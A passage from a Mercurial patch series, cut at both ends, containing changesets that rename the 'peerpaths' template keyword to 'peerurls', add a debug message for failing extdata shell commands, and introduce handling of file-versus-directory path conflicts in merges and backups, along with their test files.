         d.update((o, v) for o, v in sorted(p.suboptions.iteritems()))
-        def f(d):
-            yield d['url']
-        paths[k] = hybriddict(d, gen=f(d))
-
-    # no hybriddict() since d['path'] can't be formatted as a string. perhaps
-    # hybriddict() should call templatefilters.stringify(d[value]).
-    return _hybrid(None, paths, lambda k: {'name': k, 'path': paths[k]},
-                   lambda k: '%s=%s' % (k, paths[k]['url']))
+        return d
+    return _hybrid(None, urls, makemap, lambda k: '%s=%s' % (k, urls[k]))
 
 @templatekeyword("predecessors")
 def showpredecessors(repo, ctx, **args):
diff --git a/tests/test-paths.t b/tests/test-paths.t
--- a/tests/test-paths.t
+++ b/tests/test-paths.t
@@ -93,34 +93,25 @@
   $ hg log -rnull -T '{join(peerpaths, "\n")}\n'
   dupe=$TESTTMP/b#tip (glob)
   expand=$TESTTMP/a/$SOMETHING/bar (glob)
-  $ hg log -rnull -T '{peerpaths % "{name}: {path}\n"}'
+  $ hg log -rnull -T '{peerpaths % "{name}: {url}\n"}'
   dupe: $TESTTMP/b#tip (glob)
   expand: $TESTTMP/a/$SOMETHING/bar (glob)
   $ hg log -rnull -T '{get(peerpaths, "dupe")}\n'
   $TESTTMP/b#tip (glob)
 
- (but a path is actually a dict of url and sub-options)
+ (sub options can be populated by map/dot operation)
 
-  $ hg log -rnull -T '{join(get(peerpaths, "dupe"), "\n")}\n'
-  url=$TESTTMP/b#tip (glob)
-  pushurl=https://example.com/dupe
-  $ hg log -rnull -T '{get(peerpaths, "dupe") % "{key}: {value}\n"}'
+  $ hg log -rnull \
+  > -T '{get(peerpaths, "dupe") % "url: {url}\npushurl: {pushurl}\n"}'
   url: $TESTTMP/b#tip (glob)
   pushurl: https://example.com/dupe
-  $ hg log -rnull -T '{get(get(peerpaths, "dupe"), "pushurl")}\n'
+  $ hg log -rnull -T '{peerpaths.dupe.pushurl}\n'
   https://example.com/dupe
 
- (so there's weird behavior)
-
-  $ hg log -rnull -T '{get(peerpaths, "dupe")|count}\n'
-  2
-  $ hg log -rnull -T '{get(peerpaths, "dupe")|stringify|count}\n'
-  [0-9]{2,} (re)
-
- (in JSON, it's a dict of dicts)
+ (in JSON, it's a dict of urls)
 
   $ hg log -rnull -T '{peerpaths|json}\n' | sed 's|\\\\|/|g'
-  {"dupe": {"pushurl": "https://example.com/dupe", "url": "$TESTTMP/b#tip"}, "expand": {"url": "$TESTTMP/a/$SOMETHING/bar"}}
+  {"dupe": "$TESTTMP/b#tip", "expand": "$TESTTMP/a/$SOMETHING/bar"}
 
 password should be masked in plain output, but not in machine-readable/template
 output:
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1505746385 -32400
#      Mon Sep 18 23:53:05 2017 +0900
# Node ID f30e59703d9819735a9335de73aa31691050ce2e
# Parent  ac38e889b33a309fb474320939c4c5c2b3fffda0
templatekw: rename peerpaths to peerurls per naming convention (BC)

Since each element is called as "url", the template keyword should be named
as "<whatever>urls".

{peerurls} is now stabilized.

diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -653,10 +653,10 @@
         return 'obsolete'
     return ''
 
-@templatekeyword('peerpaths')
-def showpeerpaths(repo, **args):
+@templatekeyword('peerurls')
+def showpeerurls(repo, **args):
     """A dictionary of repository locations defined in the [paths] section
-    of your configuration file. (EXPERIMENTAL)"""
+    of your configuration file."""
     # see commands.paths() for naming of dictionary keys
     paths = repo.ui.paths
     urls = util.sortdict((k, p.rawloc) for k, p in sorted(paths.iteritems()))
diff --git a/tests/test-paths.t b/tests/test-paths.t
--- a/tests/test-paths.t
+++ b/tests/test-paths.t
@@ -88,29 +88,29 @@
 
  (behaves as a {name: path-string} dict by default)
 
-  $ hg log -rnull -T '{peerpaths}\n'
+  $ hg log -rnull -T '{peerurls}\n'
   dupe=$TESTTMP/b#tip expand=$TESTTMP/a/$SOMETHING/bar (glob)
-  $ hg log -rnull -T '{join(peerpaths, "\n")}\n'
+  $ hg log -rnull -T '{join(peerurls, "\n")}\n'
   dupe=$TESTTMP/b#tip (glob)
   expand=$TESTTMP/a/$SOMETHING/bar (glob)
-  $ hg log -rnull -T '{peerpaths % "{name}: {url}\n"}'
+  $ hg log -rnull -T '{peerurls % "{name}: {url}\n"}'
   dupe: $TESTTMP/b#tip (glob)
   expand: $TESTTMP/a/$SOMETHING/bar (glob)
-  $ hg log -rnull -T '{get(peerpaths, "dupe")}\n'
+  $ hg log -rnull -T '{get(peerurls, "dupe")}\n'
   $TESTTMP/b#tip (glob)
 
  (sub options can be populated by map/dot operation)
 
   $ hg log -rnull \
-  > -T '{get(peerpaths, "dupe") % "url: {url}\npushurl: {pushurl}\n"}'
+  > -T '{get(peerurls, "dupe") % "url: {url}\npushurl: {pushurl}\n"}'
   url: $TESTTMP/b#tip (glob)
   pushurl: https://example.com/dupe
-  $ hg log -rnull -T '{peerpaths.dupe.pushurl}\n'
+  $ hg log -rnull -T '{peerurls.dupe.pushurl}\n'
   https://example.com/dupe
 
  (in JSON, it's a dict of urls)
 
-  $ hg log -rnull -T '{peerpaths|json}\n' | sed 's|\\\\|/|g'
+  $ hg log -rnull -T '{peerurls|json}\n' | sed 's|\\\\|/|g'
   {"dupe": "$TESTTMP/b#tip", "expand": "$TESTTMP/a/$SOMETHING/bar"}
 
 password should be masked in plain output, but not in machine-readable/template
@@ -126,7 +126,7 @@
     "url": "http://foo:insecure@example.com/"
    }
   ]
-  $ hg log -rnull -T '{get(peerpaths, "insecure")}\n'
+  $ hg log -rnull -T '{get(peerurls, "insecure")}\n'
   http://foo:insecure@example.com/
 
 zeroconf wraps ui.configitems(), which shouldn't crash at least:
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506757824 -3600
#      Sat Sep 30 08:50:24 2017 +0100
# Node ID 1c7c4445686f9c487dd0021954e51aa31845a0c4
# Parent  f30e59703d9819735a9335de73aa31691050ce2e
templatekw: get rid of temporary dicts from shownamespaces()

diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -618,13 +618,9 @@
     repo = ctx.repo()
 
     namespaces = util.sortdict()
-    colornames = {}
-    builtins = {}
 
     for k, ns in repo.names.iteritems():
         namespaces[k] = showlist('name', ns.names(repo, ctx.node()), args)
-        colornames[k] = ns.colorname
-        builtins[k] = ns.builtin
 
     f = _showlist('namespace', list(namespaces), args)
 
@@ -632,8 +628,8 @@
         return {
             'namespace': ns,
             'names': namespaces[ns],
-            'builtin': builtins[ns],
-            'colorname': colornames[ns],
+            'builtin': repo.names[ns].builtin,
+            'colorname': repo.names[ns].colorname,
         }
 
     return _hybrid(f, namespaces, makemap, pycompat.identity)
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506758270 -3600
#      Sat Sep 30 08:57:50 2017 +0100
# Node ID 0a0a72c043ac4a75f4ee018c2a78c382bd5ba633
# Parent  1c7c4445686f9c487dd0021954e51aa31845a0c4
templatekw: allow accessing to nested namespace item by its template name

Since we have the dot operator, it makes more sense to write

  {namespaces.tags % "{tag}"}

instead of

  {namespaces.tags % "{name}"}

diff --git a/mercurial/templatekw.py b/mercurial/templatekw.py
--- a/mercurial/templatekw.py
+++ b/mercurial/templatekw.py
@@ -618,9 +618,14 @@
     repo = ctx.repo()
 
     namespaces = util.sortdict()
+    def makensmapfn(ns):
+        # 'name' for iterating over namespaces, templatename for local reference
+        return lambda v: {'name': v, ns.templatename: v}
 
     for k, ns in repo.names.iteritems():
-        namespaces[k] = showlist('name', ns.names(repo, ctx.node()), args)
+        names = ns.names(repo, ctx.node())
+        f = _showlist('name', names, args)
+        namespaces[k] = _hybrid(f, names, makensmapfn(ns), pycompat.identity)
 
     f = _showlist('namespace', list(namespaces), args)
 
diff --git a/tests/test-command-template.t b/tests/test-command-template.t
--- a/tests/test-command-template.t
+++ b/tests/test-command-template.t
@@ -4130,6 +4130,9 @@
   $ hg log -r2 -T '{get(namespaces, "bookmarks") % "{name}\n"}'
   bar
   foo
+  $ hg log -r2 -T '{namespaces.bookmarks % "{bookmark}\n"}'
+  bar
+  foo
 
 Test stringify on sub expressions
 
# HG changeset patch
# User Yuya Nishihara <yuya@tcha.org>
# Date 1506856910 -3600
#      Sun Oct 01 12:21:50 2017 +0100
# Node ID 153e4e05e9b32a0b2802b7b941a9233d5e13fa9b
# Parent  0a0a72c043ac4a75f4ee018c2a78c382bd5ba633
extdata: show debug message if external command exits with non-zero status

This isn't fatal because it's quite common for grep to exit with 1. Thanks to
Foozy for spotting this.

diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -1065,6 +1065,10 @@
     finally:
         if proc:
             proc.communicate()
+            if proc.returncode != 0:
+                # not an error so 'cmd | grep' can be empty
+                repo.ui.debug("extdata command '%s' %s\n"
+                              % (cmd, util.explainexit(proc.returncode)[0]))
         if src:
             src.close()
 
diff --git a/tests/test-extdata.t b/tests/test-extdata.t
--- a/tests/test-extdata.t
+++ b/tests/test-extdata.t
@@ -12,6 +12,7 @@
   > filedata = file:extdata.txt
   > notes = notes.txt
   > shelldata = shell:cat extdata.txt | grep 2
+  > emptygrep = shell:cat extdata.txt | grep empty
   > EOF
   $ cat <<'EOF' > extdata.txt
   > 2 another comment on 2
@@ -42,6 +43,12 @@
     (symbol '3'))
   3
 
+test non-zero exit of shell command
+
+  $ hg log -qr "extdata(emptygrep)"
+  $ hg log -qr "extdata(emptygrep)" --debug
+  extdata command 'cat extdata.txt | grep empty' exited with status * (glob)
+
 test bad extdata() revset source
 
   $ hg log -qr "extdata()"
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1506978330 25200
#      Mon Oct 02 14:05:30 2017 -0700
# Node ID 6fad8059a9705c8e3b31f6ecfe37a3e9abb16c50
# Parent  153e4e05e9b32a0b2802b7b941a9233d5e13fa9b
scmutil: handle conflicting files and dirs in origbackuppath

When ui.origbackuppath is set, .orig files are stored outside of the working
copy.  However conflicts can occur when files or directories end up having the
same name.  These conflicts cause Mercurial to abort, even if they've been
created as a result of different backups.

Make sure we always replace files or directories in the origbackuppath if
they conflict with another file or directory.

Test Plan:
Add new unit test for conflicting paths.

Differential Revision: https://phab.mercurial-scm.org/D680

diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -38,6 +38,7 @@
     similar,
     url,
     util,
+    vfs,
 )
 
 if pycompat.osname == 'nt':
@@ -573,18 +574,34 @@
     Fall back to default (filepath with .orig suffix) if not specified
     '''
     origbackuppath = ui.config('ui', 'origbackuppath')
-    if origbackuppath is None:
+    if not origbackuppath:
         return filepath + ".orig"
 
-    filepathfromroot = os.path.relpath(filepath, start=repo.root)
-    fullorigpath = repo.wjoin(origbackuppath, filepathfromroot)
+    # Convert filepath from an absolute path into a path inside the repo.
+    filepathfromroot = util.normpath(os.path.relpath(filepath,
+                                                     start=repo.root))
+
+    origvfs = vfs.vfs(repo.wjoin(origbackuppath))
+    origbackupdir = origvfs.dirname(filepathfromroot)
+    if not origvfs.isdir(origbackupdir) or origvfs.islink(origbackupdir):
+        ui.note(_('creating directory: %s\n') % origvfs.join(origbackupdir))
 
-    origbackupdir = repo.vfs.dirname(fullorigpath)
-    if not repo.vfs.exists(origbackupdir):
-        ui.note(_('creating directory: %s\n') % origbackupdir)
-        util.makedirs(origbackupdir)
+        # Remove any files that conflict with the backup file's path
+        for f in reversed(list(util.finddirs(filepathfromroot))):
+            if origvfs.isfileorlink(f):
+                ui.note(_('removing conflicting file: %s\n')
+                        % origvfs.join(f))
+                origvfs.unlink(f)
+                break
 
-    return fullorigpath
+        origvfs.makedirs(origbackupdir)
+
+    if origvfs.isdir(filepathfromroot):
+        ui.note(_('removing conflicting directory: %s\n')
+                % origvfs.join(filepathfromroot))
+        origvfs.rmtree(filepathfromroot, forcibly=True)
+
+    return origvfs.join(filepathfromroot)
 
 class _containsnode(object):
     """proxy __contains__(node) to container.__contains__ which accepts revs"""
diff --git a/tests/test-origbackup-conflict.t b/tests/test-origbackup-conflict.t
new file mode 100644
--- /dev/null
+++ b/tests/test-origbackup-conflict.t
@@ -0,0 +1,118 @@
+Set up repo
+
+  $ cat << EOF >> $HGRCPATH
+  > [ui]
+  > origbackuppath=.hg/origbackups
+  > [merge]
+  > checkunknown=warn
+  > EOF
+  $ hg init repo
+  $ cd repo
+  $ echo base > base
+  $ hg add base
+  $ hg commit -m "base"
+
+Make a dir named b that contains a file
+
+  $ mkdir -p b
+  $ echo c1 > b/c
+  $ hg add b/c
+  $ hg commit -m "c1"
+  $ hg bookmark c1
+
+Peform an update that causes b/c to be backed up
+
+  $ hg up -q 0
+  $ mkdir -p b
+  $ echo c2 > b/c
+  $ hg up --verbose c1
+  resolving manifests
+  b/c: replacing untracked file
+  getting b/c
+  creating directory: $TESTTMP/repo/.hg/origbackups/b
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark c1)
+  $ test -f .hg/origbackups/b/c
+
+Make a file named b
+
+  $ hg up -q 0
+  $ echo b1 > b
+  $ hg add b
+  $ hg commit -m b1
+  created new head
+  $ hg bookmark b1
+
+Perform an update that causes b to be backed up - it should replace the backup b dir
+
+  $ hg up -q 0
+  $ echo b2 > b
+  $ hg up --verbose b1
+  resolving manifests
+  b: replacing untracked file
+  getting b
+  removing conflicting directory: $TESTTMP/repo/.hg/origbackups/b
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark b1)
+  $ test -f .hg/origbackups/b
+
+Perform an update the causes b/c to be backed up again - it should replace the backup b file
+
+  $ hg up -q 0
+  $ mkdir b
+  $ echo c3 > b/c
+  $ hg up --verbose c1
+  resolving manifests
+  b/c: replacing untracked file
+  getting b/c
+  creating directory: $TESTTMP/repo/.hg/origbackups/b
+  removing conflicting file: $TESTTMP/repo/.hg/origbackups/b
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark c1)
+  $ test -d .hg/origbackups/b
+
+Cause a symlink to be backed up that points to a valid location from the backup dir
+
+  $ hg up -q 0
+  $ mkdir ../sym-link-target
+  $ ln -s ../../../sym-link-target b
+  $ hg up b1
+  b: replacing untracked file
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark b1)
+  $ readlink .hg/origbackups/b
+  ../../../sym-link-target
+
+Perform an update that causes b/c to be backed up again - it should not go into the target dir
+
+  $ hg up -q 0
+  $ mkdir b
+  $ echo c4 > b/c
+  $ hg up --verbose c1
+  resolving manifests
+  b/c: replacing untracked file
+  getting b/c
+  creating directory: $TESTTMP/repo/.hg/origbackups/b
+  removing conflicting file: $TESTTMP/repo/.hg/origbackups/b
+  1 files updated, 0 files merged, 0 files removed, 0 files unresolved
+  (activating bookmark c1)
+  $ cat .hg/origbackups/b/c
+  c4
+  $ ls ../sym-link-target
+
+Incorrectly configure origbackuppath to be under a file
+
+  $ echo data > .hg/badorigbackups
+  $ hg up -q 0
+  $ mkdir b
+  $ echo c5 > b/c
+  $ hg up --verbose c1 --config ui.origbackuppath=.hg/badorigbackups
+  resolving manifests
+  b/c: replacing untracked file
+  getting b/c
+  creating directory: $TESTTMP/repo/.hg/badorigbackups/b
+  abort: Not a directory: '$TESTTMP/repo/.hg/badorigbackups/b'
+  [255]
+  $ cat .hg/badorigbackups
+  data
+
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1506978330 25200
#      Mon Oct 02 14:05:30 2017 -0700
# Node ID 34c8080d12acfe519be5f06436201cb4d1db538f
# Parent  6fad8059a9705c8e3b31f6ecfe37a3e9abb16c50
tests: add a test demonstrating basic path conflict failures

Differential Revision: https://phab.mercurial-scm.org/D773

diff --git a/tests/test-pathconflicts-basic.t b/tests/test-pathconflicts-basic.t
new file mode 100644
--- /dev/null
+++ b/tests/test-pathconflicts-basic.t
@@ -0,0 +1,81 @@
+  $ hg init repo
+  $ cd repo
+  $ echo base > base
+  $ hg add base
+  $ hg commit -m "base"
+  $ hg bookmark -i base
+  $ echo 1 > a
+  $ hg add a
+  $ hg commit -m "file"
+  $ hg bookmark -i file
+  $ echo 2 > a
+  $ hg commit -m "file2"
+  $ hg bookmark -i file2
+  $ hg up -q 0
+  $ mkdir a
+  $ echo 2 > a/b
+  $ hg add a/b
+  $ hg commit -m "dir"
+  created new head
+  $ hg bookmark -i dir
+
+Basic merge - local file conflicts with remote directory
+
+  $ hg up -q file
+  $ hg bookmark -i
+  $ hg merge --verbose dir
+  resolving manifests
+  getting a/b
+  abort: *: '$TESTTMP/repo/a/b' (glob)
+  [255]
+  $ hg update --clean .
+  0 files updated, 0 files merged, 0 files removed, 0 files unresolved
+
+Basic update - local directory conflicts with remote file
+
+  $ hg up -q 0
+  $ mkdir a
+  $ echo 3 > a/b
+  $ hg up file
+  abort: *: '$TESTTMP/repo/a' (glob)
+  [255]
+  $ hg up --clean file
+  abort: *: '$TESTTMP/repo/a' (glob)
+  [255]
+
+Repo is in a very bad state now - recover manually
+
+  $ rm -r a
+  $ hg up -q --clean 0
+
+Basic update - untracked file conflicts with remote directory
+
+  $ hg up -q 0
+  $ echo untracked > a
+  $ hg up --config merge.checkunknown=warn dir
+  abort: *: '$TESTTMP/repo/a/b' (glob)
+  [255]
+
+Repo is in a very bad state now - recover manually
+
+  $ rm -f a
+  $ hg up -q --clean 0
+
+Basic clean update - local directory conflicts with changed remote file
+
+  $ hg up -q file
+  $ rm a
+  $ mkdir a
+  $ echo 4 > a/b
+  $ hg up file2
+  abort: *: '$TESTTMP/repo/a' (glob)
+  [255]
+  $ hg up --clean file2
+  abort: *: '$TESTTMP/repo/a' (glob)
+  [255]
+
+Repo is in a very bad state now - recover manually
+
+  $ rm -r a
+  $ hg up -q --clean 0
+
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1506978330 25200
#      Mon Oct 02 14:05:30 2017 -0700
# Node ID 1913162854f23ea9ab39bd1596a0d96e469fdcc9
# Parent  34c8080d12acfe519be5f06436201cb4d1db538f
merge: add pathconflict merge state

Path conflicts that occur during merges are represented by 'pu' (unresolved)
and 'pr' (resolved) records in the merge state.  These are stored on disk
in 'P' records.

Differential Revision: https://phab.mercurial-scm.org/D774

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -66,6 +66,7 @@
     C: a change/delete or delete/change conflict
     D: a file that the external merge driver will merge internally
        (experimental)
+    P: a path conflict (file vs directory)
     m: the external merge driver defined for this merge plus its run state
        (experimental)
     f: a (filename, dictionary) tuple of optional values for a given file
@@ -79,6 +80,15 @@
     m: driver-resolved files marked -- only needs to be run before commit
     s: success/skipped -- does not need to be run any more
 
+    Merge record states (stored in self._state, indexed by filename):
+    u: unresolved conflict
+    r: resolved conflict
+    pu: unresolved path conflict (file conflicts with directory)
+    pr: resolved path conflict
+    d: driver-resolved conflict
+
+    The resolve command transitions between 'u' and 'r' for conflicts and
+    'pu' and 'pr' for path conflicts.
     '''
     statepathv1 = 'merge/state'
     statepathv2 = 'merge/state2'
@@ -158,7 +168,7 @@
 
                 self._readmergedriver = bits[0]
                 self._mdstate = mdstate
-            elif rtype in 'FDC':
+            elif rtype in 'FDCP':
                 bits = record.split('\0')
                 self._state[bits[0]] = bits[1:]
             elif rtype == 'f':
@@ -354,6 +364,8 @@
         for d, v in self._state.iteritems():
             if v[0] == 'd':
                 records.append(('D', '\0'.join([d] + v)))
+            elif v[0] in ('pu', 'pr'):
+                records.append(('P', '\0'.join([d] + v)))
             # v[1] == local ('cd'), v[6] == other ('dc') -- not supported by
             # older versions of Mercurial
             elif v[1] == nullhex or v[6] == nullhex:
@@ -422,6 +434,15 @@
         self._stateextras[fd] = {'ancestorlinknode': hex(fca.node())}
         self._dirty = True
 
+    def addpath(self, path, frename, forigin):
+        """add a new conflicting path to the merge state
+        path:    the path that conflicts
+        frename: the filename the conflicting file was renamed to
+        forigin: origin of the file ('l' or 'r' for local/remote)
+        """
+        self._state[path] = ['pu', frename, forigin]
+        self._dirty = True
+
     def __contains__(self, dfile):
         return dfile in self._state
 
@@ -445,7 +466,7 @@
         """Obtain the paths of unresolved files."""
 
         for f, entry in self._state.iteritems():
-            if entry[0] == 'u':
+            if entry[0] in ('u', 'pu'):
                 yield f
 
     def driverresolved(self):
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1506978330 25200
#      Mon Oct 02 14:05:30 2017 -0700
# Node ID e4cf957bf7ce9441d5ea73fea4e0406fb800b158
# Parent  1913162854f23ea9ab39bd1596a0d96e469fdcc9
commands: update the resolve command to handle path conflicts

The resolve command must support displaying path conflicts and marking
them as resolved or unresolved.

Differential Revision: https://phab.mercurial-scm.org/D775

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -4275,10 +4275,19 @@
         for f in ms:
             if not m(f):
                 continue
+
+            # Set label based on merge state.
             l = 'resolve.' + {'u': 'unresolved', 'r': 'resolved',
+                              'pu': 'unresolved', 'pr': 'resolved',
                               'd': 'driverresolved'}[ms[f]]
+
+            # Set key based on merge state.  Unresolved path conflicts show
+            # as 'P'.  Resolved path conflicts show as 'R', the same as normal
+            # resolved conflicts.
+            key = {'pu': 'P', 'pr': 'R'}.get(ms[f], ms[f].upper())
+
             fm.startitem()
-            fm.condwrite(not nostatus, 'status', '%s ', ms[f].upper(), label=l)
+            fm.condwrite(not nostatus, 'status', '%s ', key, label=l)
             fm.write('path', '%s\n', f, label=l)
         fm.end()
         return 0
@@ -4327,6 +4336,17 @@
                     runconclude = True
                 continue
 
+            # path conflicts must be resolved manually
+            if ms[f] in ("pu", "pr"):
+                if mark:
+                    ms.mark(f, "pr")
+                elif unmark:
+                    ms.mark(f, "pu")
+                elif ms[f] == "pu":
+                    ui.warn(_('%s: path conflict must be resolved manually\n')
+                            % f)
+                continue
+
             if mark:
                 ms.mark(f, "r")
             elif unmark:
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1506978330 25200
#      Mon Oct 02 14:05:30 2017 -0700
# Node ID 81aebcc73bebc8cb1284b70e89f696a9fbda933b
# Parent  e4cf957bf7ce9441d5ea73fea4e0406fb800b158
merge: add merge action 'p' to record path conflicts during update

Add a new merge action to record path conflicts.  A status message is
printed, and the path conflict is added to the merge state.

Differential Revision: https://phab.mercurial-scm.org/D776

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -1243,12 +1243,27 @@
             wctx[f].remove()
 
     numupdates = sum(len(l) for m, l in actions.items() if m != 'k')
+    z = 0
 
     if [a for a in actions['r'] if a[0] == '.hgsubstate']:
         subrepo.submerge(repo, wctx, mctx, wctx, overwrite, labels)
 
-    # remove in parallel (must come first)
-    z = 0
+    # record path conflicts
+    for f, args, msg in actions['p']:
+        f1, fo = args
+        s = repo.ui.status
+        s(_("%s: path conflict - a file or link has the same name as a "
+            "directory\n") % f)
+        if fo == 'l':
+            s(_("the local file has been renamed to %s\n") % f1)
+        else:
+            s(_("the remote file has been renamed to %s\n") % f1)
+        s(_("resolve manually then use 'hg resolve --mark %s'\n") % f)
+        ms.addpath(f, f1, fo)
+        z += 1
+        progress(_updating, z, item=f, total=numupdates, unit=_files)
+
+    # remove in parallel (must come before getting)
     prog = worker.worker(repo.ui, 0.001, batchremove, (repo, wctx),
                          actions['r'])
     for i, item in prog:
@@ -1698,7 +1713,8 @@
                     del actionbyfile[f]
 
         # Convert to dictionary-of-lists format
-        actions = dict((m, []) for m in 'a am f g cd dc r dm dg m e k'.split())
+        actions = dict((m, [])
+                       for m in 'a am f g cd dc r dm dg m e k p'.split())
         for f, (m, args, msg) in actionbyfile.iteritems():
             if m not in actions:
                 actions[m] = []
diff --git a/mercurial/sparse.py b/mercurial/sparse.py
--- a/mercurial/sparse.py
+++ b/mercurial/sparse.py
@@ -486,7 +486,8 @@
                 dropped.append(file)
 
     # Apply changes to disk
-    typeactions = dict((m, []) for m in 'a f g am cd dc r dm dg m e k'.split())
+    typeactions = dict((m, [])
+                       for m in 'a f g am cd dc r dm dg m e k p'.split())
     for f, (m, args, msg) in actions.iteritems():
         if m not in typeactions:
             typeactions[m] = []
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1506978330 25200
#      Mon Oct 02 14:05:30 2017 -0700
# Node ID b4955650eb57b5e9252d1c7399ecd62d980a5eec
# Parent  81aebcc73bebc8cb1284b70e89f696a9fbda933b
merge: add merge action 'pr' to rename files during update

Add a new merge action to handle a path conflict by renaming the conflicting
file to a safe name.

The rename is just to avoid problems on the filesystem.  The conflict is still
considered unresolved until the user marks the original path as resolved.

Differential Revision: https://phab.mercurial-scm.org/D777

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -1263,7 +1263,7 @@
         z += 1
         progress(_updating, z, item=f, total=numupdates, unit=_files)
 
-    # remove in parallel (must come before getting)
+    # remove in parallel (must come before resolving path conflicts and getting)
     prog = worker.worker(repo.ui, 0.001, batchremove, (repo, wctx),
                          actions['r'])
     for i, item in prog:
@@ -1271,6 +1271,18 @@
         progress(_updating, z, item=item, total=numupdates, unit=_files)
     removed = len(actions['r'])
 
+    # resolve path conflicts (must come before getting)
+    for f, args, msg in actions['pr']:
+        repo.ui.debug(" %s: %s -> pr\n" % (f, msg))
+        f0, = args
+        if wctx[f0].lexists():
+            repo.ui.note(_("moving %s to %s\n") % (f0, f))
+            wctx[f].audit()
+            wctx[f].write(wctx.filectx(f0).data(), wctx.filectx(f0).flags())
+            wctx[f0].remove()
+        z += 1
+        progress(_updating, z, item=f, total=numupdates, unit=_files)
+
     # We should flush before forking into worker processes, since those workers
     # flush when they complete, and we don't want to duplicate work.
     wctx.flushall()
@@ -1443,6 +1455,17 @@
     for f, args, msg in actions.get('f', []):
         repo.dirstate.drop(f)
 
+    # resolve path conflicts
+    for f, args, msg in actions.get('pr', []):
+        f0, = args
+        origf0 = repo.dirstate.copied(f0) or f0
+        repo.dirstate.add(f)
+        repo.dirstate.copy(origf0, f)
+        if f0 == origf0:
+            repo.dirstate.remove(f0)
+        else:
+            repo.dirstate.drop(f0)
+
     # re-add
     for f, args, msg in actions.get('a', []):
         repo.dirstate.add(f)
@@ -1678,7 +1701,7 @@
 
         if updatecheck == 'noconflict':
             for f, (m, args, msg) in actionbyfile.iteritems():
-                if m not in ('g', 'k', 'e', 'r'):
+                if m not in ('g', 'k', 'e', 'r', 'pr'):
                     msg = _("conflicting changes")
                     hint = _("commit or update --clean to discard changes")
                     raise error.Abort(msg, hint=hint)
@@ -1714,7 +1737,7 @@
 
         # Convert to dictionary-of-lists format
         actions = dict((m, [])
-                       for m in 'a am f g cd dc r dm dg m e k p'.split())
+                       for m in 'a am f g cd dc r dm dg m e k p pr'.split())
         for f, (m, args, msg) in actionbyfile.iteritems():
             if m not in actions:
                 actions[m] = []
diff --git a/mercurial/sparse.py b/mercurial/sparse.py
--- a/mercurial/sparse.py
+++ b/mercurial/sparse.py
@@ -487,7 +487,7 @@
 
     # Apply changes to disk
     typeactions = dict((m, [])
-                       for m in 'a f g am cd dc r dm dg m e k p'.split())
+                       for m in 'a f g am cd dc r dm dg m e k p pr'.split())
     for f, (m, args, msg) in actions.iteritems():
         if m not in typeactions:
             typeactions[m] = []
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1506978330 25200
#      Mon Oct 02 14:05:30 2017 -0700
# Node ID a991e1d6bc82d8585e8b9d70c5e41da0589f401b
# Parent  b4955650eb57b5e9252d1c7399ecd62d980a5eec
merge: backup conflicting directories when getting files

During batchget, if a target file conflicts with a directory, or if the
directory a target file is in conflicts with a file, backup and remove the
conflicting file or directory before performing the get.

Differential Revision: https://phab.mercurial-scm.org/D778

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -1167,14 +1167,18 @@
                 repo.ui.note(_("getting %s\n") % f)
 
             if backup:
+                # If a file or directory exists with the same name, back that
+                # up.  Otherwise, look to see if there is a file that conflicts
+                # with a directory this file is in, and if so, back that up.
                 absf = repo.wjoin(f)
+                if not repo.wvfs.lexists(f):
+                    for p in util.finddirs(f):
+                        if repo.wvfs.isfileorlink(p):
+                            absf = repo.wjoin(p)
+                            break
                 orig = scmutil.origpath(ui, repo, absf)
-                try:
-                    if repo.wvfs.isfileorlink(f):
-                        util.rename(absf, orig)
-                except OSError as e:
-                    if e.errno != errno.ENOENT:
-                        raise
+                if repo.wvfs.lexists(absf):
+                    util.rename(absf, orig)
             wctx[f].clearunknown()
             wctx[f].write(fctx(f).data(), flags, backgroundclose=True)
             if i == 100:
# HG changeset patch
# User Mark Thomas <mbthomas@fb.com>
# Date 1506978330 25200
#      Mon Oct 02 14:05:30 2017 -0700
# Node ID 53e4bcab346bc9ff55797b36c755912f060c9e38
# Parent  a991e1d6bc82d8585e8b9d70c5e41da0589f401b
merge: add _checkunknowndirs function for detecting path conflicts

Add a new function which, given a file name, finds the shortest path for which
there is a conflicting file or directory in the working directory.

Differential Revision: https://phab.mercurial-scm.org/D779

diff --git a/mercurial/merge.py b/mercurial/merge.py
--- a/mercurial/merge.py
+++ b/mercurial/merge.py
@@ -641,6 +641,34 @@
         and repo.dirstate.normalize(f) not in repo.dirstate
         and mctx[f2].cmp(wctx[f]))
 
+def _checkunknowndirs(repo, f):
+    """
+    Look for any unknown files or directories that may have a path conflict
+    with a file.  If any path prefix of the file exists as a file or link,
